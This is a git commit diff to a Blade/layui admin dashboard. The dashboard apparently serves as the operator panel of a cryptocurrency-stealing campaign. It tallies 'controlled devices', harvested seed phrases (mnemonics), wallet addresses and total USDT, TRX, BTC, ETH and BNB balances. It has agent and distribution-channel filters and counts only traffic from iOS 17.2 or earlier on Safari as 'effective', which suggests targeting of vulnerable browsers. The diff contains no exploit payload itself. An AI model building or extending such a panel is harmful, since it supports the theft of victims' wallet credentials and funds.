feat: new channel
This commit is contained in:
@@ -5,10 +5,51 @@
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
<style>
|
||||
.dash-metric { font-size: 28px; line-height: 1.2; }
|
||||
.dash-grid { display: grid; gap: 12px; margin-bottom: 12px; }
|
||||
.dash-grid-5 { grid-template-columns: repeat(5, minmax(0, 1fr)); }
|
||||
.dash-grid-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
|
||||
@media screen and (max-width: 992px) {
|
||||
.dash-grid-5 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
|
||||
.dash-grid-2 { grid-template-columns: 1fr; }
|
||||
}
|
||||
.dash-tile {
|
||||
background: #fff;
|
||||
border: 1px solid #f0f0f0;
|
||||
border-radius: 2px;
|
||||
min-height: 108px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
.dash-tile-hd {
|
||||
padding: 10px 14px 0;
|
||||
font-size: 13px;
|
||||
color: #666;
|
||||
line-height: 1.4;
|
||||
}
|
||||
.dash-tile-bd {
|
||||
padding: 8px 14px 12px;
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
}
|
||||
.dash-metric { font-size: 26px; line-height: 1.25; color: #333; word-break: break-all; }
|
||||
.dash-metric-hl { color: #009688; font-weight: 600; }
|
||||
.dash-metric-sep { color: #bbb; margin: 0 4px; font-weight: 400; }
|
||||
.dash-metric-total { color: #333; }
|
||||
.dash-metric-caption {
|
||||
display: block;
|
||||
margin-top: 6px;
|
||||
font-size: 12px;
|
||||
line-height: 1.3;
|
||||
color: #999;
|
||||
font-weight: 400;
|
||||
}
|
||||
.dash-section-label {
|
||||
margin: 4px 0 8px;
|
||||
font-size: 13px;
|
||||
color: #999;
|
||||
}
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-dash-search">
|
||||
@@ -24,85 +65,131 @@
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" placeholder="渠道 ID" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach ($agents as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_channel_select')
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-dash-search">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">总设备数</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-total">—</div>
|
||||
<div class="dash-section-label">设备与资产</div>
|
||||
<div class="dash-grid dash-grid-5">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">总设备数</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric" id="dash-total">—</div>
|
||||
<span class="dash-metric-caption">有钱包设备/总设备</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">新增设备</div>
|
||||
<div class="layui-card-body dash-metric dash-metric-hl" id="dash-new">—</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">新增设备</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-new">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">活跃设备</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-active">—</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">活跃设备</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric" id="dash-active">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">页面 PV</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-pv">—</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">助记词</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-mnemonics">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">页面 UV</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-uv">—</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">钱包地址</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-addresses">—</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-word-aux" style="margin-top:4px;">有效口径:iOS ≤ 17.2 且使用 Safari(左侧高亮 / 右侧为全部)</div>
|
||||
|
||||
<div class="layui-row layui-col-space15" style="margin-top:12px;">
|
||||
<div class="layui-col-md6">
|
||||
<div class="dash-section-label">总余额</div>
|
||||
<div class="dash-grid dash-grid-5">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">USDT</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-usdt">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">TRX</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-trx">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">BTC</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-btc">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">ETH</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-eth">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">BNB</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric dash-metric-hl" id="dash-bal-bnb">—</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS ≤ 17.2 且 Safari(左侧高亮)</span></div>
|
||||
<div class="dash-grid dash-grid-2">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">页面 PV</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric" id="dash-pv">—</div>
|
||||
<span class="dash-metric-caption">有效 PV/总 PV</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">页面 UV</div>
|
||||
<div class="dash-tile-bd">
|
||||
<div class="dash-metric" id="dash-uv">—</div>
|
||||
<span class="dash-metric-caption">有效 UV/总 UV</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-row layui-col-space15" style="margin-top:4px;">
|
||||
<div class="layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">按系统(PV / UV / 占比)</div>
|
||||
<div class="layui-card-header">访问 · 按系统(UV / 占比)</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>系统</th><th>PV</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-os"><tr><td colspan="4">—</td></tr></tbody>
|
||||
<thead><tr><th>系统</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-os"><tr><td colspan="3">—</td></tr></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">按 iOS 系统版本(PV / UV / 占比)</div>
|
||||
<div class="layui-card-header">访问 · 按 iOS 版本(UV / 占比)</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>版本</th><th>PV</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-ios-version"><tr><td colspan="4">—</td></tr></tbody>
|
||||
<thead><tr><th>版本</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-ios-version"><tr><td colspan="3">—</td></tr></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">受控设备 · 系统版本分布</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>版本</th><th>设备数</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-device-ios"><tr><td colspan="3">—</td></tr></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
@@ -124,9 +211,18 @@ layui.use(['form'], function () {
|
||||
var html = '';
|
||||
(rows || []).forEach(function (r) {
|
||||
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
|
||||
});
|
||||
$(sel).html(html || '<tr><td colspan="4">暂无</td></tr>');
|
||||
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
|
||||
}
|
||||
|
||||
function fillDeviceVersionRows(sel, rows) {
|
||||
var html = '';
|
||||
(rows || []).forEach(function (r) {
|
||||
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.count + '</td><td>' + pct + '</td></tr>';
|
||||
});
|
||||
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
|
||||
}
|
||||
|
||||
function ratioHtml(effective, total) {
|
||||
@@ -138,13 +234,20 @@ layui.use(['form'], function () {
|
||||
function load(where) {
|
||||
$.getJSON(dataUrl, where || { range: '30d' }, function (res) {
|
||||
if (!res || res.code !== 0) return;
|
||||
$('#dash-total').text(res.data.total);
|
||||
$('#dash-total').html(ratioHtml(res.data.wallet_count || 0, res.data.total || 0));
|
||||
$('#dash-new').text(res.data.new_count);
|
||||
$('#dash-active').text(res.data.active_count);
|
||||
$('#dash-mnemonics').text(res.data.mnemonic_count || 0);
|
||||
$('#dash-addresses').text(res.data.address_count || 0);
|
||||
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
|
||||
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
|
||||
var bal = res.data.balances || {};
|
||||
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
|
||||
$('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0');
|
||||
});
|
||||
fillRows('#dash-by-os', res.data.by_os);
|
||||
fillRows('#dash-by-ios-version', res.data.by_ios_version);
|
||||
fillDeviceVersionRows('#dash-by-device-ios', res.data.by_device_ios_version);
|
||||
$('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to);
|
||||
});
|
||||
}
|
||||
@@ -154,6 +257,7 @@ layui.use(['form'], function () {
|
||||
return false;
|
||||
});
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
load({ range: '30d' });
|
||||
});
|
||||
</script>
|
||||
|
||||
Reference in New Issue
Block a user